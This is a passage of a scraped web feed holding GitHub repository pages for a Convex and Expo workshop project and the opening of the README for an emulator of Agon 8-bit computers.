href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.eslintrc.js&quot;&gt;.eslintrc.js&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.firebaserc&quot;&gt;.firebaserc&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.firebaserc&quot;&gt;.firebaserc&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.gitignore&quot;&gt;.gitignore&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.gitignore&quot;&gt;.gitignore&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.ncurc.json&quot;&gt;.ncurc.json&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.ncurc.json&quot;&gt;.ncurc.json&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.prettierrc.js&quot;&gt;.prettierrc.js&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.prettierrc.js&quot;&gt;.prettierrc.js&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/README.md&quot;&gt;README.md&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/README.md&quot;&gt;README.md&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/app.config.ts&quot;&gt;app.config.ts&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/app.config.ts&quot;&gt;app.config.ts&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/babel.config.js&quot;&gt;babel.config.js&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/babel.config.js&quot;&gt;babel.config.js&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/bun.lockb&quot;&gt;bun.lockb&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/bun.lockb&quot;&gt;bun.lockb&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/commitlint.config.cjs&quot;&gt;commitlint.config.cjs&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/commitlint.config.cjs&quot;&gt;commitlint.config.cjs&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/config.ts&quot;&gt;config.ts&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/config.ts&quot;&gt;config.ts&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/custom-syntax-validator.ts&quot;&gt;custom-syntax-validator.ts&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/custom-syntax-validator.ts&quot;&gt;custom-syntax-validator.ts&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/environment.d.ts&quot;&gt;environment.d.ts&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/environment.d.ts&quot;&gt;environment.d.ts&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/jest.config.ts&quot;&gt;jest.config.ts&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/jest.config.ts&quot;&gt;jest.config.ts&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/metro.config.js&quot;&gt;metro.config.js&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/metro.config.js&quot;&gt;metro.config.js&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/package.json&quot;&gt;package.json&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/package.json&quot;&gt;package.json&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/tsconfig.json&quot;&gt;tsconfig.json&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/tsconfig.json&quot;&gt;tsconfig.json&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/yarn.lock&quot;&gt;yarn.lock&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/yarn.lock&quot;&gt;yarn.lock&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;3&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;Repository files navigation&lt;/h2&gt;&lt;/div&gt;&lt;div&gt;&lt;article&gt;&lt;div&gt;&lt;h1&gt;Convex Expo Workshop&lt;/h1&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/actions/workflows/ci.yml&quot;&gt;&lt;img src=&quot;https://github.com/hyochan/convex-expo-workshop/actions/workflows/ci.yml/badge.svg&quot; alt=&quot;CI&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;a href=&quot;https://private-user-images.githubusercontent.com/27461460/372425599-e9d84081-400d-4caa-b5e2-de8ee4bef596.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3ODAxMTIwMTYsIm5iZiI6MTc4MDExMTcxNiwicGF0aCI6Ii8yNzQ2MTQ2MC8zNzI0MjU1OTktZTlkODQwODEtNDAwZC00Y2FhLWI1ZTItZGU4ZWU0YmVmNTk2LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA1MzAlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwNTMwVDAzMjgzNlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWQ5ZGVjYTUzMDIzYjlhNzc0MDRkNDRlYWNlODM3YzA2Yjc4YjY0MDgyNjI2OTE2MWNjM2M2YWM1OTBiOTBmZmImWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.lKU_M65w2XkqiiOUONK3jPv0Ig_9-L1i9JAXmnJOauE&quot;&gt;&lt;img src=&quot;https://private-user-images.githubusercontent.com/27461460/372425599-e9d84081-400d-4caa-b5e2-de8ee4bef596.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3ODAxMTIwMTYsIm5iZiI6MTc4MDExMTcxNiwicGF0aCI6Ii8yNzQ2MTQ2MC8zNzI0MjU1OTktZTlkODQwODEtNDAwZC00Y2FhLWI1ZTItZGU4ZWU0YmVmNTk2LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA1MzAlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwNTMwVDAzMjgzNlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWQ5ZGVjYTUzMDIzYjlhNzc0MDRkNDRlYWNlODM3YzA2Yjc4YjY0MDgyNjI2OTE2MWNjM2M2YWM1OTBiOTBmZmImWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.lKU_M65w2XkqiiOUONK3jPv0Ig_9-L1i9JAXmnJOauE&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
&lt;div&gt;&lt;h2&gt;Stacks Used&lt;/h2&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/facebook/react-native&quot;&gt;react-native&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://expo.dev&quot;&gt;expo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/clerk&quot;&gt;clerk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/get-convex&quot;&gt;convex&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/dooboolab/dooboo-ui&quot;&gt;dooboo-ui&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/article&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;

&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
  &lt;h2&gt;About&lt;/h2&gt;

      &lt;p&gt;
        Convex workshop with Expo
      &lt;/p&gt;


    &lt;h3&gt;Resources&lt;/h3&gt;
    &lt;div&gt;
      
        
        Readme
    &lt;/div&gt;

  





  
  

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;

    &lt;div&gt;
      &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/activity&quot;&gt;
        &lt;span&gt;Activity&lt;/span&gt;&lt;/a&gt;    &lt;/div&gt;


    &lt;h3&gt;Stars&lt;/h3&gt;
    &lt;div&gt;
      &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/stargazers&quot;&gt;
        &lt;strong&gt;2&lt;/strong&gt;
        stars&lt;/a&gt;    &lt;/div&gt;

    &lt;h3&gt;Watchers&lt;/h3&gt;
    &lt;div&gt;
      &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/watchers&quot;&gt;
        &lt;strong&gt;0&lt;/strong&gt;
        watching&lt;/a&gt;    &lt;/div&gt;

    &lt;h3&gt;Forks&lt;/h3&gt;
    &lt;div&gt;
      &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/forks&quot;&gt;
        &lt;strong&gt;0&lt;/strong&gt;
        forks&lt;/a&gt;    &lt;/div&gt;


    &lt;div&gt;
      &lt;a href=&quot;https://github.com/contact/report-content?content_url=https%3A%2F%2Fgithub.com%2Fhyochan%2Fconvex-expo-workshop&amp;amp;report=hyochan+%28user%29&quot;&gt;
          Report repository
&lt;/a&gt;    &lt;/div&gt;
&lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

  
      &lt;div&gt;
        &lt;div&gt;
          &lt;h2&gt;
  &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/releases&quot;&gt;Releases&lt;/a&gt;&lt;/h2&gt;

    &lt;div&gt;No releases published&lt;/div&gt;

        &lt;/div&gt;
      &lt;/div&gt;

  
  
  
      &lt;div&gt;
        &lt;div&gt;
          

  
  &lt;h2&gt;
  &lt;a href=&quot;https://github.com/users/hyochan/packages?repo_name=convex-expo-workshop&quot;&gt;Packages
      &lt;span&gt;0&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;


      &lt;div&gt;
        
        &lt;div&gt; &lt;/div&gt;
      &lt;/div&gt;
      &lt;div&gt;
        
        &lt;div&gt; &lt;/div&gt;
      &lt;/div&gt;
      &lt;div&gt;
        
        &lt;div&gt; &lt;/div&gt;
      &lt;/div&gt;



  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;

        &lt;/div&gt;
      &lt;/div&gt;

  
      &lt;div&gt;
        &lt;div&gt;
          
  

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;

        &lt;/div&gt;
      &lt;/div&gt;

  
    &lt;div&gt;
      &lt;div&gt;
        
  
  &lt;h2&gt;
    &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/graphs/contributors&quot;&gt;Contributors&lt;/a&gt;  &lt;/h2&gt;

  &lt;ul&gt;
      &lt;li&gt;
        
      &lt;/li&gt;
      &lt;li&gt;
        
      &lt;/li&gt;
      &lt;li&gt;
        
      &lt;/li&gt;
  &lt;/ul&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;

      &lt;/div&gt;
    &lt;/div&gt;

  
      &lt;div&gt;
        &lt;div&gt;
          &lt;h2&gt;Languages&lt;/h2&gt;
&lt;div&gt;
  &lt;span&gt;
    
    
    
&lt;/span&gt;&lt;/div&gt;
&lt;ul&gt;
    &lt;li&gt;
        &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/search?l=typescript&quot;&gt;
          
          &lt;span&gt;TypeScript&lt;/span&gt;
          &lt;span&gt;93.1%&lt;/span&gt;
        &lt;/a&gt;
    &lt;/li&gt;
    &lt;li&gt;
        &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/search?l=javascript&quot;&gt;
          
          &lt;span&gt;JavaScript&lt;/span&gt;
          &lt;span&gt;6.7%&lt;/span&gt;
        &lt;/a&gt;
    &lt;/li&gt;
    &lt;li&gt;
        &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/search?l=shell&quot;&gt;
          
          &lt;span&gt;Shell&lt;/span&gt;
          &lt;span&gt;0.2%&lt;/span&gt;
        &lt;/a&gt;
    &lt;/li&gt;
&lt;/ul&gt;

        &lt;/div&gt;
      &lt;/div&gt;

  
  &lt;/div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;   &lt;/div&gt;





  &lt;/div&gt;



    &lt;/main&gt;
  &lt;/div&gt;

  &lt;/div&gt;

          &lt;footer&gt;
  &lt;h2&gt;Footer&lt;/h2&gt;

  


  &lt;div&gt;
    &lt;div&gt;
      &lt;a href=&quot;https://github.com&quot;&gt;
        
&lt;/a&gt;
      &lt;span&gt;
        © 2026 GitHub, Inc.
      &lt;/span&gt;
    &lt;/div&gt;

    
  &lt;/div&gt;
&lt;/footer&gt;



    




  &lt;div&gt;
    
    
    You can’t perform that action at this time.
  &lt;/div&gt;

    

    &lt;div&gt;
  &lt;div&gt;
  &lt;/div&gt;
&lt;/div&gt;

    





    &lt;/div&gt;
    
    
  


&lt;/body&gt;</content:encoded>
</item>
<item>
<title>GitHub - tomm/fab-agon-emulator: Agon Light, Agon Light 2, Agon Console8 Emulator for Linux, Windows, Mac, any system with SDL3 · GitHub</title>
<link>https://github.com/tomm/fab-agon-emulator</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/8144f4ad6830efa6cd5c7be7e0f1fc3f491af4a6218700f65b4802e386dbca7c/tomm/fab-agon-emulator"></enclosure>
<guid isPermaLink="false">DvO5ZJThVw8hLyhoM4rmlHJcBbKykHq0V3mlOA==</guid>
<pubDate>Wed, 27 May 2026 18:54:08 +0000</pubDate>
<description>Agon Light, Agon Light 2, Agon Console8 Emulator for Linux, Windows, Mac, any system with SDL3 - tomm/fab-agon-emulator</description>
<content:encoded>&lt;div&gt;&lt;h1&gt;Fab Agon Emulator&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;An emulator of the Agon Light, Agon Light 2, and Agon Console8 8-bit computers.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;How to compile&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;You may not need to compile, as there are regular pre-compiled
&lt;a href=&quot;https://github.com/tomm/fab-agon-emulator/releases&quot;&gt;releases&lt;/a&gt;
for Linux (amd64), Windows (x64) and Mac (Intel &amp;amp; ARM).&lt;/p&gt;&lt;p&gt;Otherwise, read the &lt;a href=&quot;https://github.com/tomm/fab-agon-emulator/blob/main/docs/compiling.md&quot;&gt;guide to compiling Fab Agon Emulator&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Keyboard Shortcuts&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Emulator shortcuts are accessed with the &lt;em&gt;right ctrl&lt;/em&gt;.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;RightCtrl-C - Toggle caps-lock&lt;/li&gt;
&lt;li&gt;RightCtrl-F - Toggle fullscreen mode&lt;/li&gt;
&lt;li&gt;RightCtrl-M - Print ESP32 memory stats to the console&lt;/li&gt;
&lt;li&gt;RightCtrl-R - Soft-reset&lt;/li&gt;
